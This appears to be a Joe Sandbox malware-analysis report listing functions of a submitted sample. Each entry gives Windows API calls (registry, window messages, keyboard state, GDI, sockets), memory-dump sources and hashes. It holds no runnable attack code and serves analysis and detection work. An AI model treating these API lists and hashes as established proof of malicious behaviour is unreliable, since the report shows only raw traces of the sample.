                              • Opcode ID: 5a7296b1c5eaaf12ad4c2d2a839e078d9dce1648221bbe8eaefb4bf91c000afd
                              • Instruction ID: 4d78316a312392ccd7929e5b9cc6f9f998d70627324fd0ae594e8e4bf7546d1d
                              • Opcode Fuzzy Hash: 5a7296b1c5eaaf12ad4c2d2a839e078d9dce1648221bbe8eaefb4bf91c000afd
                              • Instruction Fuzzy Hash: 1381A3315083008FD310EF65C985A5FB7E5AF84318F108A2FF599572A1EB78ED46CB9A
                              Function 0044734F Relevance: 10.7, APIs: 7, Instructions: 210COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
                                • Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
                                • Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
                                • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266
                              • Ellipse.GDI32(?,?,FFFFFFFE,00000000,00000000), ref: 004474C4
                              • MoveToEx.GDI32(?,?,FFFFFFFE,00000000), ref: 004474D4
                              • AngleArc.GDI32(?,?,FFFFFFFE,00000000), ref: 0044750F
                              • LineTo.GDI32(?,?,FFFFFFFE), ref: 00447518
                              • CloseFigure.GDI32(?), ref: 0044751F
                              • SetPixel.GDI32(?,?,FFFFFFFE,00000000), ref: 0044752E
                              • Rectangle.GDI32(?,?,FFFFFFFE,00000000), ref: 0044754A
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                              • String ID:
                              • API String ID: 4082120231-0
                              • Opcode ID: 7999c5ddb42d2811e8fcb41125d4db3c21d66abb345ae56e6caae54fa290efb2
                              • Instruction ID: e674395c2b36b0b5590bf657e4107f8d2570055e184bc57fe517c57e0a53fcaf
                              • Opcode Fuzzy Hash: 7999c5ddb42d2811e8fcb41125d4db3c21d66abb345ae56e6caae54fa290efb2
                              • Instruction Fuzzy Hash: 36713CB4904109EFEB04CF94C884EBEBBB9EF85310F24855AE9156B341D774AE42CBA5
                              Function 0046B280 Relevance: 10.7, APIs: 7, Instructions: 196registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B3A6
                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0046B3D2
                              • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 0046B3FD
                              • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0046B430
                              • RegCloseKey.ADVAPI32(?,000000FF,00000000), ref: 0046B459
                              • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0046B492
                              • RegCloseKey.ADVAPI32(?), ref: 0046B49D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Close$ConnectEnumOpenRegistryValue_malloc_memmove_wcslen
                              • String ID:
                              • API String ID: 2027346449-0
                              • Opcode ID: 2b9cac7d06e9b3c82fe541c1c7e321d1f48fab5647307c3a769b9fb80d6ae4cb
                              • Instruction ID: e744fe3a0f0af3658e2b80b3541497a384b181c150b1b14c88f03688e4e42502
                              • Opcode Fuzzy Hash: 2b9cac7d06e9b3c82fe541c1c7e321d1f48fab5647307c3a769b9fb80d6ae4cb
                              • Instruction Fuzzy Hash: 92613D71218301ABD304EF65C985E6BB7A8FFC8704F008A2EF945D7281DB75E945CBA6
                              Function 0047A66E Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                • Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1
                              • GetMenu.USER32 ref: 0047A703
                              • GetMenuItemCount.USER32(00000000), ref: 0047A74F
                              • GetMenuStringW.USER32(00000000,?,?,00007FFF,00000400), ref: 0047A783
                              • _wcslen.LIBCMT ref: 0047A79E
                              • GetMenuItemID.USER32(00000000,?), ref: 0047A7E0
                              • GetSubMenu.USER32(00000000,?), ref: 0047A7F2
                              • PostMessageW.USER32(?,00000111,?,00000000), ref: 0047A884
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$Item$CountMessagePostStringWindow_malloc_wcslen
                              • String ID:
                              • API String ID: 3257027151-0
                              • Opcode ID: c981ea3ceee1feb4f68cdf1bad830475cd4f783826951488cb1c5ff232b53bc9
                              • Instruction ID: 02f8ada5611b6a2978ded3aa89f74167ce8c021908d800e5e23178b580333db3
                              • Opcode Fuzzy Hash: c981ea3ceee1feb4f68cdf1bad830475cd4f783826951488cb1c5ff232b53bc9
                              • Instruction Fuzzy Hash: AA51FA71504301ABD310EF25DC81B9FB7E8FF88314F108A2EF989A7241D779E95487A6
                              Function 0046D230 Relevance: 10.7, APIs: 7, Instructions: 170networkCOMMON
                              Download Yara Rule
                              APIs
                              • select.WSOCK32(00000000,?,00000000,00000000,?), ref: 0046D3D3
                              • WSAGetLastError.WSOCK32(00000000), ref: 0046D3E4
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorLastselect
                              • String ID:
                              • API String ID: 215497628-0
                              • Opcode ID: a2339aeea388287f00fab5c9ba0e4a7d07c2007cb3e616b5232981a1bd598a56
                              • Instruction ID: fadcceb5308e48970113ceaff65c18732520a09434288b0a98514d96d8681c7b
                              • Opcode Fuzzy Hash: a2339aeea388287f00fab5c9ba0e4a7d07c2007cb3e616b5232981a1bd598a56
                              • Instruction Fuzzy Hash: 65510772E001046BD710EF69DC85FAEB3A8EB94320F14856EF905D7381EA35DD41C7A5
                              Function 004443FC Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetParent.USER32(?), ref: 0044443B
                              • GetKeyboardState.USER32(?), ref: 00444450
                              • SetKeyboardState.USER32(?), ref: 004444A4
                              • PostMessageW.USER32(?,00000101,00000010,?), ref: 004444D4
                              • PostMessageW.USER32(?,00000101,00000011,?), ref: 004444F5
                              • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444541
                              • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444566
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessagePost$KeyboardState$Parent
                              • String ID:
                              • API String ID: 87235514-0
                              • Opcode ID: 4481168041494e1849bbb8b05fe85edf3de4190132d6f0e43f59e21d2d662a19
                              • Instruction ID: 8f44bbd55e3387c5fecf3766ecc31f273ddc6601011f0052083f6d8a5cbafb33
                              • Opcode Fuzzy Hash: 4481168041494e1849bbb8b05fe85edf3de4190132d6f0e43f59e21d2d662a19
                              • Instruction Fuzzy Hash: 2051D6A05047D53AFB3682748846BA7BFE42F86704F08868BE1D5559C3D3ECE994CB68
                              Function 004445F4 Relevance: 10.7, APIs: 7, Instructions: 170windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetParent.USER32(?), ref: 00444633
                              • GetKeyboardState.USER32(?), ref: 00444648
                              • SetKeyboardState.USER32(?), ref: 0044469C
                              • PostMessageW.USER32(?,00000100,00000010,?), ref: 004446C9
                              • PostMessageW.USER32(?,00000100,00000011,?), ref: 004446E7
                              • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444730
                              • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444752
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessagePost$KeyboardState$Parent
                              • String ID:
                              • API String ID: 87235514-0
                              • Opcode ID: 988eb571eba6180a4ec7f7c38e49780efe397f424a6b2059308ac6c1f0666447
                              • Instruction ID: 3b822c4357a53f38689f34ecdfb8cd013e642acfd09065eaf4f6fa9230d15588
                              • Opcode Fuzzy Hash: 988eb571eba6180a4ec7f7c38e49780efe397f424a6b2059308ac6c1f0666447
                              • Instruction Fuzzy Hash: 7451D4B05047D139F73692688C45BA7BFD86B8B304F08868FF1D5156C2D3ACB895CB69
                              Function 0045537F Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00001308,?,00000000), ref: 0045539F
                              • 6FDA0200.COMCTL32(?,?), ref: 004553D3
                              • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004554BB
                              • DeleteObject.GDI32(?), ref: 00455736
                              • DeleteObject.GDI32(?), ref: 00455744
                              • DestroyCursor.USER32(?), ref: 00455752
                              • 74285CF0.USER32(?), ref: 00455760
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DeleteMessageObjectSend$74285A0200CursorDestroy
                              • String ID:
                              • API String ID: 2072705879-0
                              • Opcode ID: 35278296b08b7a07ab4037b75477043e0b107217007b5923df3ad7b8258325fa
                              • Instruction ID: c6eb43681ca9132c11a6020d2ba108f27148fdc9c8ef1f50c91adec3b3f4716e
                              • Opcode Fuzzy Hash: 35278296b08b7a07ab4037b75477043e0b107217007b5923df3ad7b8258325fa
                              • Instruction Fuzzy Hash: 76516B74204A419FC714DF24C4A4BB677F5FF8A302F1486AAED998B392D738A849CB54
                              Function 0044982A Relevance: 10.6, APIs: 7, Instructions: 135COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 3e9aeaa8e8d9a9efa26880ce8322a829618f36bb2b0e75f2f32cf9c77c57eef6
                              • Instruction ID: 5d193f65ffce5f3a1406795a0d9a37a93f2f4887bdc9b14e5c8c629f49d9966a
                              • Opcode Fuzzy Hash: 3e9aeaa8e8d9a9efa26880ce8322a829618f36bb2b0e75f2f32cf9c77c57eef6
                              • Instruction Fuzzy Hash: 0A413871900114ABE710DF58CC84FAF7765EB46320F14826EF858AB3C1C7745D02EB98
                              Function 0044882A Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                              Download Yara Rule
                              APIs
                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004488BD
                              • SendMessageW.USER32(?,00000469,?,00000000), ref: 004488D3
                              • EnableWindow.USER32(?,00000000), ref: 00448B5C
                              • EnableWindow.USER32(?,00000001), ref: 00448B72
                              • ShowWindow.USER32(?,00000000), ref: 00448BE8
                              • ShowWindow.USER32(?,00000004), ref: 00448BF4
                              • EnableWindow.USER32(?,00000001), ref: 00448C09
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$Enable$Show$MessageMoveSend
                              • String ID:
                              • API String ID: 896007046-0
                              • Opcode ID: 487afd455632248a3d509b30b3d46b8f07dcfb1983bcccedac1426ad742150ab
                              • Instruction ID: 578be1c3660e2fd518c7beccd973f741d6ce186f3db94e5441c29ef1e5fc56da
                              • Opcode Fuzzy Hash: 487afd455632248a3d509b30b3d46b8f07dcfb1983bcccedac1426ad742150ab
                              • Instruction Fuzzy Hash: 5F419D742003809FF724DB24C894BAB77E0FF96305F18446EF5859B291DB78A845CB59
                              Function 00448AB2 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448AC9
                              • GetFocus.USER32 ref: 00448ACF
                              • EnableWindow.USER32(?,00000000), ref: 00448B5C
                              • EnableWindow.USER32(?,00000001), ref: 00448B72
                              • ShowWindow.USER32(?,00000000), ref: 00448BE8
                              • ShowWindow.USER32(?,00000004), ref: 00448BF4
                              • EnableWindow.USER32(?,00000001), ref: 00448C09
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$Enable$Show$FocusMessageSend
                              • String ID:
                              • API String ID: 3429747543-0
                              • Opcode ID: 611a307e80107d343a79f7fc2cfd1bfbec1158008c6b2b7743f92638a6db6fc0
                              • Instruction ID: 6f3afe48a64986b2df7f4b22be5166ca64fe0b5af1f2aee4406df3dc20f3ce1d
                              • Opcode Fuzzy Hash: 611a307e80107d343a79f7fc2cfd1bfbec1158008c6b2b7743f92638a6db6fc0
                              • Instruction Fuzzy Hash: F331C4706043805BF7248F24CCC8BAFB7D4FB95305F08491EF581A6291DBBCA845CB59
                              Function 00401250 Relevance: 10.6, APIs: 7, Instructions: 86windowtimeCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B80: _wcsncpy.LIBCMT ref: 00401C41
                                • Part of subcall function 00401B80: _wcscpy.LIBCMT ref: 00401C5D
                                • Part of subcall function 00401B80: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401C6F
                              • KillTimer.USER32(?,?,?,?,?), ref: 004012D3
                              • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012E2
                              • Shell_NotifyIconW.SHELL32(?,000003A8), ref: 0042730F
                              • Shell_NotifyIconW.SHELL32(?,000003A8), ref: 00427363
                              • Shell_NotifyIconW.SHELL32(?,000003A8), ref: 004273AE
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: IconNotifyShell_$Timer$Kill_wcscpy_wcsncpy
                              • String ID:
                              • API String ID: 3300667738-0
                              • Opcode ID: 4b14c7d07e087387f8a3c98a8cd4bd71866d27c85158e2001d1b6fa40e2d0dfa
                              • Instruction ID: ad6fff92b80ef16b1053521cf30c66606da497e43c90b6e238f917110e524b22
                              • Opcode Fuzzy Hash: 4b14c7d07e087387f8a3c98a8cd4bd71866d27c85158e2001d1b6fa40e2d0dfa
                              • Instruction Fuzzy Hash: AF31EA70604259BFDB16CB24DC55BEAFBBCBB02304F0000EAF58CA3291C7741A95CB9A
                              Function 0045D448 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D459
                              • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CF
                              • __swprintf.LIBCMT ref: 0045D4E9
                              • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D52D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorMode$InformationVolume__swprintf
                              • String ID: %lu$\VH
                              • API String ID: 3164766367-2432546070
                              • Opcode ID: 886de82fe176795aba7bdb97f378ec25336d41d961a023bcb5d27bbb6add7ed5
                              • Instruction ID: a5bcfc38f1a54d16d783223dfbe865d4bc924dff4e6617147b97584b2165572c
                              • Opcode Fuzzy Hash: 886de82fe176795aba7bdb97f378ec25336d41d961a023bcb5d27bbb6add7ed5
                              • Instruction Fuzzy Hash: 11317171A00209AFCB14EF95DD85EAEB7B8FF48304F1084AAF905A7291D774EA45CB94
                              Function 00450B7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450BE7
                              • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450BF8
                              • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450C06
                              • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450C17
                              • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450C25
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: Msctls_Progress32
                              • API String ID: 3850602802-3636473452
                              • Opcode ID: bde72abdda352e35c3e71b9276821fa19048fea6f3879b5342d5f34549d04d22
                              • Instruction ID: 3e9a69ee1b5e3cb2ffa50bc712587bba9ef5757239c838e11c91c46d95a842ac
                              • Opcode Fuzzy Hash: bde72abdda352e35c3e71b9276821fa19048fea6f3879b5342d5f34549d04d22
                              • Instruction Fuzzy Hash: 7A21667135030477EB20DEA9DC82F97B3AD9F94B24F21460AFB54A72D1C5B5F8418B58
                              Function 00455531 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285D80860DeleteObject$CursorDestroy
                              • String ID:
                              • API String ID: 636359152-0
